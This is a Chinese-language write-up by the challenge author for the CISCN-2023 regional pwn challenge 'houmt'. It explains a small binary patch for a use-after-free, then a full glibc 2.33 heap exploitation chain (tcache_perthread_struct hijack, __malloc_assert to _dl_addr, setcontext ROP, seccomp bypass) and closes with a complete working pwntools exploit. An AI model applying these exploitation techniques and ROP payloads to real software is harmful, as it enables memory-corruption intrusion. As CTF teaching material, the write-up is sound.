CISCN-2023 华东南分区赛 houmt 出题小记
CISCN-2023 华东南分区赛 houmt 出题小记
前言
很高兴也很荣幸能为今年国赛的华东南分赛区出一道Pwn
题,这题其实是我差不多整一年前出的了,然后就一直屯着没处用2333。
本题的fix
并不难,但是我在checker
中加了一些限制,本意是希望别被那么快打烂,可是貌似正式比赛的时候因为某些未知的原因,并未全部奏效。
最终,到比赛结束为止,这题仍然没有队伍成功break
解出,也许是AAA
的大哥们不屑于做glibc
题目吧QAQ
在此分享一下本题的Write Up
,希望师傅们轻喷,如果有非预期解也欢迎和我交流!
最后,祝愿学弟们在今年的CISCN
总决赛里拿到好名次,重铸小绿草荣光!
附件下载:https://files.cnblogs.com/files/blogs/705204/attachment.zip?t=1687955961&download=true
在线评测:https://www.nssctf.cn/problem/4165
Patch
checker
限制:不可修改eh_frame
等段的可执行性,且需要修改尽可能少的字节(20
个字节以内)以修复UAF
漏洞。
参考补丁思路如下:跳转到空函数term_proc
,并在term_proc
中写入清空heap
数组的操作,再跳转到free
。
按照上述思路修改,将[rdx+rax]
(即ptr
堆指针)直接赋给rdi
,又由于想修改尽可能少的字节,将下一行原先的rdi
随便改成rbx
当作废指令即可。这样做到的话,可以使rax
保持不变,即rdx+rax
仍然为heap
数组中该指针元素的地址。然后,使用call
跳转到_term_proc
,这样之后还能再跳转回来。
在_term_proc
中,先写入mov qword ptr [rdx+rax], 0
清空指针数组元素,修复UAF
漏洞,然后再jmp
到free
函数,此时rdi
是之前存放着的堆指针,将其正常释放即可。此处jmp
到free
函数并不会返回到_term_proc
下面,而是由于之前call _term_proc
指令,直接跳转回0x1ABF
的后面正常继续执行。
解题步骤
题目概述
本题的Docker
环境为Ubuntu 21.04
,对应libc-2.33-0ubuntu5_amd64
,存在一个UAF
漏洞,仅有一次Edit
机会,两次Show
机会,可Add
编号为0~18
的堆块,且每次只能申请大小为0x110
的堆块,Free
的次数不限,还存在一个重要的限制:不能申请到任何libc
相关地址,对其进行修改。
在本题当中不存在任何走IO
的函数:读入用的read
,输出用的write
,退出用的_exit
,且不允许从main
函数正常退出程序。
此外,沙盒的部分也有些特殊,限制了read
的fd
需要为0
,并且禁用了close
系统调用。
漏洞点
存在一个UAF漏洞,如下图:
信息泄露
我们可申请一个0x110
大小的堆块,再将其释放到相应的tcache bin
当中,这时候可以直接利用UAF
漏洞,通过show(0)
获得到libc-2.32
以上指针异或加密(Safe-Linking
机制)的key
,并可通过这个key
左移12
获得堆的基地址heap_base
。
接着,将0x110
对应的tcache bin
释放满7
个堆块,再释放的堆块将进入unsorted bin
,利用上面类似的方法,即可泄露出libc
的基地址libc_base
。
在本题的show
函数中,对输出结果进行了一个简单的加密:会将第k
个字节与第k+1
个字节和第0xf0-1-k
个字节异或的结果输出。由于Heap
和LIBC
相关的地址高位都是0
,且此时堆块后面的字节也均为0
,而“异或”位运算又有0 ^ a = a
和a ^ b = c => c ^ a = b
这两大重要的性质,因此可利用这两个性质,将输出结果从后往前两两异或,即可得到原始数据。
glibc的一个缺陷
glibc
存在一个缺陷,当释放一个堆块进入tcache bin
的时候,仅仅通过该堆块的size
找到对应的tcache bin
,只会检查tcache
的key
字段,并不会对next chunk
的size
以及prev_inuse
位进行检查。
相关部分源码如下:
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
利用glibc
这个缺陷,我们可以在任意地址上伪造一个堆块,保证size
处于tcache
的大小范围内,即可通过free
将这个fake chunk
释放到对应的tcache bin
中,也能够将其再从tcache bin
中申请出来。
因此,我们可以通过上述方式,做到在任意tcache bin
中存放任意地址上的fake chunk
。
劫持 tcache_perthread_struct 获得多次任意写
我们通过仅有的一次Edit
,配合UAF
漏洞,将此时0x110
大小对应的tcache bin
的链表头堆块的next
指针改到tcache_perthread_struct
中entries
数组内存放0x110
大小对应的tcache bin
的链表头部指针的位置之前。
然后,就可以申请到tcache_perthread_struct
中,获得一次任意地址写,我们可以根据上述的glibc
缺陷,伪造好size
为0x110
的fake chunk
,然后在entries
数组中对应0x110
大小的位置写入fake chunk
的地址。
这样我们就可以申请出伪造的fake chunk
了,之后也可以利用UAF
漏洞不断对其free
,然后再申请回来,修改其中entries
数组中对应0x110
大小的位置为任意地址,即可申请出任意地址,可进行任意地址写。
综上,重复上述不断释放再申请fake chunk
,并修改其中0x110
大小对应的tcache bin
链表头部指针的过程,即可做到多次任意地址写。
通过 __malloc_assert 走到 IO 函数
虽然本题中没有任何走IO
的函数,但是可以通过触发错误,执行__malloc_assert
中的IO
函数。
当top chunk
大小不够分配时,会执行__libc_malloc
函数,其中,当top chunk
的size
非法时,会触发如下的断言:
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
assert
断言失败时,会执行__malloc_assert
函数:
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
可见,其中会执行一系列与stderr
相关的IO
函数。
综上,我们可以通过任意地址写top chunk
的size
,使得其不够下一次的分配且非法,即可走到IO
函数了。
巧妙利用一条 IO 调用链
在本题中,不可任意写libc
相关地址,但是可以任意写堆块地址或者ld
相关地址。这里依据这样的特性,巧妙地利用了一条IO
调用链。
在_IO_vtable_check
函数中,若当前IO_FILE
中的vtable
非法,就会触发_dl_addr
函数:
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
......
在_dl_addr
函数中,可以看到下图中call
的函数指针(_rtld_global+0xf08
)和rdi
中的_rtld_global+0x908
均位于ld
中,且处于可写字段:
综上,我们可以通过从tcache
取出堆块时,会将key
字段清空的特性,将_IO_2_1_stderr
的vtable
置为0
,然后再利用上述__malloc_assert
中走到的IO
函数在调用前对stderr
的虚表检查不通过,执行到_dl_addr
函数,若在之前利用任意地址写劫持了函数指针和rdi
对应的ld
内存区域,即可get shell
或布置ROP
绕过沙盒。
特殊沙盒的绕过
开了沙盒需要orw
的题目,经常使用setcontext
控制rsp
,进而跳转过去调用ROP
链,在本题的libc-2.33
中,控制setcontext
的寄存器为rdx
,起始位置为setcontext+61
。
然而,_dl_addr
中可直接控制的寄存器为rdi
,因此需要通过以下的gadget
进行rdi
与rdx
间的转换:
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]
最后,来看一下本题的沙盒:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x35 0x00 0x01 0x00000028 if (A < 0x28) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000011 if (A != pread64) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0019
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0015: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0024
0016: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0017: 0x15 0x00 0x06 0x00000000 if (A != 0x0) goto 0024
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x15 0x00 0x03 0x00000001 if (A != write) goto 0023
0020: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0021: 0x15 0x00 0x02 0x00000001 if (A != 0x1) goto 0024
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x15 0x00 0x01 0x00000012 if (A != pwrite64) goto 0025
0024: 0x06 0x00 0x00 0x00000000 return KILL
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可以看到,限制了read
的fd
必须为0
,且禁用了close
,因此无法通过先close(0)
再open("flag")
的常用方式绕过了,且禁用了readv
和pread64
。但是,我们可以用mmap
来代替read
,将open
(openat
被禁用)打开的flag
文件内容通过其对应的fd
映射到开辟的某段内存空间中。并且,可以关注到write
每次只能输出一个字节,这样是比较麻烦的,但并未禁用writev
,故用writev
代替write
输出flag
即可。
exp
结合上述各部分的思路,可写出如下exp
:
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")
def add(content):
io.sendlineafter("Please input your choice > ", b'1')
io.sendafter("Please input the content : \n", content)
def edit(idx, content):
io.sendlineafter("Please input your choice > ", b'2')
io.sendlineafter("Please input the index : ", str(idx))
io.sendafter("Please input the content : \n", content)
def free(idx):
io.sendlineafter("Please input your choice > ", b'3')
io.sendlineafter("Please input the index : ", str(idx))
def show(idx):
io.sendlineafter("Please input your choice > ", b'4')
io.sendlineafter("Please input the index : ", str(idx))
def quit():
io.sendlineafter("Please input your choice > ", b'5')
if __name__ == '__main__':
for i in range(8):
add("\n") # 0~7
free(0)
show(0)
leak = []
for i in range(5):
leak.append(u8(io.recv(1)))
for i in range(3, -1, -1):
leak[i] = leak[i] ^ leak[i+1]
t = b''
for i in range(5):
t = t + p8(leak[i])
key = u64(t.ljust(8, b'\x00'))
success("key:\t" + hex(key))
heap_base = key << 12;
success("heap_base:\t" + hex(heap_base))
for i in range(1, 6):
free(i)
free(7)
free(6)
show(6)
leak.clear()
for i in range(6):
leak.append(u8(io.recv(1)))
for i in range(4, -1, -1):
leak[i] = leak[i] ^ leak[i+1]
t = b''
for i in range(6):
t = t + p8(leak[i])
libc_base = u64(t.ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x70
success("libc_base:\t" + hex(libc_base))
ld_base = libc_base + 0x1ee000
edit(7, p64(key ^ (heap_base + 0xf0)))
add("\n") # 8
add(p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)) # 9
magic_gadget = libc_base + 0x14a0a0
add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0xf90)) # 10
add(p64(magic_gadget)) # 11
address = libc_base + libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x100
frame.rsp = address
frame.rip = libc_base + libc.sym['read']
free(10)
add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0x980)) # 12
add(p64(0)*2 + p64(ld_base + ld.sym['_rtld_global'] + 0x988) + p64(0)*2 + p64(libc_base + libc.sym['setcontext'] + 61) + bytes(frame)[0x28:]) # 13
free(10)
add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14
io.sendlineafter("Please input your choice > ", b'1')
free(10)
add(p64(0) + p64(heap_base + 0xb10)) # 15
add(p64(0) + p64(0x88)) # 16
add("\n") # 17
io.sendlineafter("Please input your choice > ", b'1') # 18
pop_rax_ret = libc_base + 0x44c70
pop_rdi_ret = libc_base + 0x121b1d
pop_rsi_ret = libc_base + 0x2a4cf
pop_rdx_ret = libc_base + 0xc7f32
pop_rcx_rbx_ret = libc_base + 0xfc104
pop_r8_ret = libc_base + 0x148686
syscall = libc_base + 0x6105a
orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
orw_rop += p64(pop_rdi_ret) + p64(0x80000)
orw_rop += p64(pop_rsi_ret) + p64(0x1000)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
orw_rop += p64(pop_r8_ret) + p64(3)
orw_rop += p64(libc_base + libc.sym['mmap'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(libc_base + libc.sym['writev'])
orw_rop += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)
io.send(orw_rop)
io.interactive()